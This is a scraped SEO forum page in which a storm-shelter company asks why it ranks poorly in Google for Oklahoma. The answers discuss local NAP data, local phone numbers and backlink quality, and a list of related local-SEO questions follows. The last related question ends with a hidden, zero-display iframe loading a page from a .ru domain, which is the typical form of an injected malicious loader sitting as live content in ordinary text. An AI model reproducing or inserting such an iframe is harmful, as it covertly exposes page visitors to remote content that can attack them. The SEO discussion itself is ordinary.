Killing it in Yahoo/Bing...Sucking it in Google. What gives?
-
Our website http://www.survive-a-storm.com has historically performed well in Google for the search terms "storm shelters" and "tornado shelters." Our geographic focus is nationwide, but we are particularly interested in ranking up for Oklahoma.
Right now we are hovering at about the third position in Yahoo/Bing, and in some geographic areas (i.e., as selected in Google's search settings) we are doing reasonably to quite well for these terms in Google (i.e., first page).
In Oklahoma, though, we are holding steady around positions 20-25. We have just changed the title tag on our home page, cleaned up a bit of on-page optimization, and are going to work on getting some more optimized content on the page.
We are outperforming the competition on Domain Authority (38) and Page Authority (46), and as far as I can tell, other key metrics are respectable. Our social isn't bad, but could always use improvement--which we are working on.
Any idea why we might be lagging so badly in Google? Any help would be appreciated!
-
Hi Audra,
You've categorized your question as a local question, and in visiting your website, I see you have 4 physical locations listed, though precedence is being given to your location in Thomasville, GA, the partial NAP of which appears in the footer of the website.
It's important to understand that, of all of the search engines, Google has the most sophisticated approach to how it assesses and displays local businesses. Right now, the Local SEO of your website is not being handled properly and my guess is that it is thus not sending the proper signals to Google to achieve the visibility you'd love to achieve.
I can't provide a full audit here, within the scope of Q&A, but I can point out a few quick things to you.
1). Your footer has a section labeled 'Our Locations', listing the names of 4 cities in 4 states. Yet, within the footer, the only NAP being provided is for the Thomasville location. And, that Thomasville NAP is only partial.
-
Your NAP would be deemed 'partial', because the Thomasville, GA, location is being listed with a toll free number instead of a local one. Local SEO revolves around local area code phone numbers. So, we don't have complete NAP for this location, and when I visit the 4 location landing pages by clicking on the links in the footer, none of these are listing complete NAP either. In fact, there is no mention of a phone number at all on these pages. These pages are not giving Google the signals they expect and need.
-
There is nothing in the footer to indicate that Oklahoma is of premium importance to the company. Despite the fact that you've optimized the title tag of the homepage to mention Oklahoma, what Google is finding in the footer would signal to them that Georgia is really your most important location.
So, there are discrepancies and missing data here. You need to have a unique local area code phone number for each unique physical office you occupy. Seeing the way the site is set up, I am wondering how the company has handled its Local SEM, in general, especially in terms of the development of Google+ Local pages and citation building. Without those local phone numbers, the company's hands are tied in Google Land and you're unlikely to achieve the visibility you desire without complying with Google's basic standards for local businesses.
If the company has not hired a Local SEO to consult with previously, I would highly suggest finding a top tier one who can dig into the site and the off-site Local SEM that's been done and to analyze problems and develop a marketing strategy. There are about 20 questions for which answers are needed and, hopefully, by consulting with a pro on this, you can discover both your issues and your opportunities.
Hope this helps!
-
-
Thanks, Jane (and Eric, too):
We haven't actively made any effort to build links, so we haven't actively been doing anything that would attract undesirable backlinks. I guess we'll have to comb through and maybe disavow any that are questionable.
Wouldn't any sort of penalty affect rankings more-or-less uniformly, though? That is why I was leaning toward social/local to explain the disparity in performance from one geographical location to another.
Thanks for the assist!
-
Hi Audra,
Eric is right - it's generally easier to rank in Bing, with its engine behaving somewhat like we remember Google being a few years ago. The standard for links is a little lower, and if you have questionable links in your backlink profile, you're unlikely to get away with it in Google the way you can in other engines. It's not uncommon to see results like this, so I'd start looking closely at your backlinks and perhaps look at taking down those that potentially violate Webmaster Guidelines.
-
Audra,
One of the big differences between Bing and Google is how they deal with links. Google analyzes links to your site a lot more than Bing does, and is "pickier" when it comes to the types of links and how they're obtained. I would review all of the links to your website and make sure that they're all "high quality" links. A quick analysis of the links to your site shows some undesirable links pointing to the site that violate Google's webmaster guidelines.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
How about a No-index backlink in the eye of Google
I have a doubt - when I create a backlink as a part of SEO in some website when I rechecked the same couple of days after. It hasn't indexed and I checked its robots file. It showing **User-agent: ****Mediapartners-Google ****Disallow: ****User-Agent: * ****Disallow:**However, is this create any backlink support or just this for the purpose of not indexing in google.I make it simple -"Is this kind of backlink creation support my SEO activity or Not?" In this No-index website.
Local Website Optimization | | LayaPaul0 -
Correct Localisation of my website on Google
I have a website which services various countries, specifically the United Kingdom and United States of America. I am now expanding the target of my website to focus on Australian and South African customers. The structure of my website is www.websitename.com/us/ for the American audience. This is also what appears on a Google search when browsing in the USA. For the United Kingdom we use just www.websitename.com which works and shows in the UK. When I have created the new versions which are:
Local Website Optimization | | A95Bennett
www.websitename.com/au/
www.websitename.com/za/ I go onto google search my company and still www.websitename.com shows (When browsing from the relevant location). When it should show the /au/ or /za/ versions. I have submitted the relevant sitemaps to Google Search Console. Yet still from Australia and South Africa the .com version of the website it what shows. Please offer any advice to how I can get the correct version of the website showing in the correct location?1 -
Ecommerce Site Structure -- "/our_locations" page: helpful or harmful?
Hello! We are a retailer with brick and mortar stores in different cities. We have a website (ourbusiness.com), which includes a blog (ourbusiness.com/blog) and a separate ecommerce site for each store in subfolders (ourbusiness.com/Boston-store and ourbusiness.com/Atlanta-store). NB: We do this for non-business reasons and have no choice. So, this is not like REI (for example) or other stores with lots of locations but one central ecommerce operation. Most experts seem to recommend a site structure that echoes REIs. IE: a home page principally devoted to ecommerce (rei.com) includes an Our Locations-type page (rei.com/stores) which links to local store pages like (rei.com/stores/fresno) I understand how this would help REI, since their homepage is devoted to ecommerce and they need a store locator page that doesn't compete with the shopping experience. But since we can't send people to products directly from our home page, is there any reason for us not to put the store locator function right on the home page? That is, is there any reason in our case to prefer (A) ourbusiness.com/our_locations/Boston_store over (B) ourbusiness.com/Boston-store? As i see it, the extra page (/our_locations/) could actually hurt, as it puts products one click further away from customers, and one link deeper for bots. On the other hand, it may make the multi-store structure clearer to bots (and maybe people) and help us in local search. Finally, would it make a difference if there were 10 stores vs 2? Thanks for any thoughts!
Local Website Optimization | | RankAmateur...1 -
How accurate are google keyword estimates for local search volume?
We've all used the Google Adwords Keywords Tool, and if you're like me you use it to analyze data for a particular region. Does anyone know how accurate this data is? For example, I'd like to know how often people in Savannah, Georgia search for the word "forklift". I figure that Google can give me two kinds of data when I ask for how many people in Savannah search for "forklift". They might actually give me rough data for how many people in the region actually searched for the term "forklift" over the last 12 months, then divide by 12 to give me a monthly average. Or they might use data on a much broader region and then adjust for Savannah's population size. In other words, they might say, in the US people searched for "forklift" and average of 1,000,000 times a month. The US has a population of 300,000,000. Savannah has a population of about 250,000. 250,000 / 300,000,000 is 0.00083. 1,000,000 times 0.00083 is 208. So, "forklift" is searched in Savannah an average of 208 times. 1. is obviously much more accurate. I suspect that 2. is the model that Google is actually using. Does anyone know with reasonable certainty which it is? Thanks,
Local Website Optimization | | aj613
Adam0 -
SEO Client not rankings in Google
Hello, I have a client that has continued to be problematic for my team and I. They have fair to middling rankings in Yahoo and Bing, but none in Google. I realize that they are three separate search engines each with their own criteria, but this client is the only one experiencing this problem. There is no significant duplicate content that can find, same with restrictions in the robots.txt file. These seems to be no reason why all my tools say that this client has no presence at all in google, especially when the client gains most of their traffic through Google. Can anyone assist me in finding out what is going wrong? Client website for reference: http://www.volvethosp.com/ Best, BeyondIndigo
Local Website Optimization | | BeyondIndigo0 -
Our Website is showing on the 11th place on Google Map
Hello, We are a photo studio in New York City, our website is
Local Website Optimization | | YourHollywoodPortrait
and our Google Plus page is http://yourhollywoodportrait.com/ https://plus.google.com/+YourHollywoodPortraitStudioNewYork When doing a search in maps for Boudoir Photography New York City we don't appear in the first 10 results, there is even a studio from New Jersey appearing before us. We have only 5* reviews, we did a bunch of local citations and still we are not in the first page of maps. Would you have any suggestions as to what we are doing wrong or should be doing? Thanks a lot for your help! Michael0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
How to target an established .co.uk site/blog to audiences in other English speaking countries - UAE, Singapore for example?
Excuse for the novice questions, but looking for help! 🙂 I have an established .co.uk website/blog for which I have established a good solid following in the UK over a good number of years. That said I have recently relocated to Dubai and so I am looking to target my English blog content to English speakers here and Singapore? While the language setting of my site is "en" is there anyway that I can change this to "en-ae" and "en-sg" for example to build a following in these markets? Or is my .co.uk TLD an issue that is going to hold me back from building following in these locations? I ask as I have just read the hreflang announcement from Google, but noticed in my Webmaster Tools that I get the following message: "Your site has no hreflang tags". Thanks in advance!
Local Website Optimization | | twofourseven0